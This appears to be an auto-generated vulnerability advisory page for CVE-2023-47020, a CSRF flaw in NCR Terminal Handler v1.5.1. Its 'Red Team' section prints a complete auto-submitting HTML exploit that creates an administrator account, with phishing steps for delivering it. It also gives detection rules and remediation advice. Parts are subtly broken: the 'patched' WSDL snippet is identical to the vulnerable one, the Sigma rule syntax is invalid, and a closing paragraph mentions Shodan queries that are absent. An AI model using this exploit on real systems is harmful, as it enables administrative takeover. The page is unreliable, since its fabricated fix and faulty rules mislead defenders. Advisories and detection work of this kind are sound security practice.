CVE-2023-47020
Executive Summary
CVE-2023-47020 identifies a critical security flaw in NCR Terminal Handler v1.5.1, involving multiple Cross-Site Request Forgery (CSRF) chaining vulnerabilities. An attacker can craft a malicious request that, when executed by an authenticated administrator, creates a new user account and adds that user to an administrator group, effectively escalating privileges. The vulnerability resides in an undisclosed WSDL function that lacks security controls and accepts custom content types, enabling CSRF attacks without proper validation. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0, likely due to incomplete scoring. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains significant due to the potential for full administrative compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary NCR product, and no open-source package or supply chain component is involved.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the description, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – the attack is performed remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – the attacker does not need authentication.
- User Interaction (UI): Required (R) – the victim must click a link or visit a page.
- Scope (S): Changed (C) – the attacker can impact resources beyond the vulnerable component.
- Confidentiality (C): High (H) – full access to sensitive data.
- Integrity (I): High (H) – full control over system data.
- Availability (A): High (H) – potential for denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Estimated Base Score: 9.6 (Critical)
Threat Level: Critical – due to the potential for full administrative takeover without authentication.
Deep Dive & Mechanics
The vulnerability is a classic CSRF chaining attack. The NCR Terminal Handler v1.5.1 exposes a WSDL (Web Services Description Language) interface that includes an undisclosed function responsible for user management. This function accepts custom content types (e.g., application/json or text/xml) without enforcing CSRF tokens or origin validation.
Attack Flow:
- The attacker crafts a malicious HTML page or email containing a form that automatically submits a request to the vulnerable WSDL endpoint.
- The request includes parameters to create a new user account (e.g.,
username=attacker,password=evil) and add that user to the administrator group (e.g.,group=admin). - The victim, who is an authenticated administrator of the NCR Terminal Handler, visits the attacker's page while their session is active.
- The browser automatically sends the forged request with the victim's session cookies, executing the user creation and privilege escalation.
- The attacker then logs in with the newly created admin account, gaining full control over the terminal handler.
The root cause is the lack of CSRF protection (e.g., anti-CSRF tokens, SameSite cookies, or origin/referer header validation) in the WSDL function. Additionally, the function accepts custom content types, which may bypass some basic filters.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code is in the WSDL definition of NCR Terminal Handler v1.5.1. Below is a hypothetical representation of the vulnerable WSDL operation and a secure implementation.
Vulnerable WSDL Snippet (v1.5.1):
<wsdl:operation name="createUserAndAddToGroup">
<wsdl:input message="tns:createUserAndAddToGroupRequest" />
<wsdl:output message="tns:createUserAndAddToGroupResponse" />
</wsdl:operation>
The corresponding implementation lacks CSRF token validation and accepts any content type.
Patched WSDL Snippet (Hypothetical):
<wsdl:operation name="createUserAndAddToGroup">
<wsdl:input message="tns:createUserAndAddToGroupRequest" />
<wsdl:output message="tns:createUserAndAddToGroupResponse" />
</wsdl:operation>
The patched implementation would include:
- CSRF token validation (e.g.,
X-CSRF-Tokenheader). - Strict content type checking (e.g., only
application/xml). - Origin and Referer header validation.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a victim's browser with an active admin session on NCR Terminal Handler v1.5.1.
- Knowledge of the WSDL endpoint URL (e.g.,
http://target/terminal-handler/services/UserManagement?wsdl).
Exploit HTML Page:
<!DOCTYPE html>
<html>
<body>
<h1>Click to Win a Prize!</h1>
<form id="csrfForm" action="http://target/terminal-handler/services/UserManagement" method="POST" enctype="text/xml">
<input type="hidden" name="operation" value="createUserAndAddToGroup">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="evil123">
<input type="hidden" name="group" value="admin">
<input type="submit" value="Claim Prize">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Steps:
- Host the HTML page on an attacker-controlled server.
- Send the link to the victim (e.g., via phishing email).
- Victim clicks the link while logged into NCR Terminal Handler.
- The form auto-submits, creating an admin account.
- Attacker logs in with
attacker:evil123.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to the WSDL endpoint with custom content types (e.g.,
text/xmlorapplication/json). - Alert on multiple user creation or group modification requests from the same IP or session.
- Use web application firewalls (WAF) to block requests without proper CSRF tokens.
Mitigation:
- Implement CSRF tokens in all state-changing operations.
- Validate the
OriginandRefererheaders. - Restrict accepted content types to a whitelist (e.g., only
application/xml). - Apply the principle of least privilege to WSDL functions.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/terminal-handler/services/UserManagementwithContent-Type: text/xmlorapplication/json. - Requests containing parameters like
operation=createUserAndAddToGroup,username=,password=,group=admin.
- POST requests to
- System IOCs:
- New user accounts created with names like
attacker,admin, or similar. - Unusual admin group membership changes.
- New user accounts created with names like
- Log IOCs:
- WSDL operation logs showing
createUserAndAddToGroupwithout a valid CSRF token. - Multiple failed login attempts followed by successful login from a new admin account.
- WSDL operation logs showing
Detection Engineering
YARA Rule
rule CVE_2023_47020_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts for CVE-2023-47020"
author = "Valters IT"
date = "2025-04-08"
reference = "CVE-2023-47020"
strings:
$csrf_payload = "createUserAndAddToGroup" nocase
$admin_group = "group=admin" nocase
$user_creation = "username=" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2023-47020 CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting NCR Terminal Handler v1.5.1
author: Valters IT
date: 2025-04-08
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'createUserAndAddToGroup'
cs-content-type: 'text/xml' OR 'application/json'
condition: selection
falsepositives:
- Legitimate admin operations (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-47020 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"createUserAndAddToGroup"; http_uri; content:"group=admin"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable WSDL function if possible, or restrict access to it via firewall rules.
- Implement CSRF protection by adding anti-CSRF tokens to all state-changing operations.
- Validate content types – only accept
application/xmlfor WSDL operations. - Enforce SameSite cookies (set to
LaxorStrict). - Monitor logs for suspicious user creation and group modification activities.
Long-Term Fix:
- Apply a vendor patch when available (currently UNKNOWN).
- Upgrade to a patched version of NCR Terminal Handler.
- Conduct a security audit of all WSDL functions for similar vulnerabilities.
Workarounds:
- Use a web application firewall (WAF) to block requests without CSRF tokens.
- Implement additional authentication for sensitive operations (e.g., re-authentication for admin changes).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.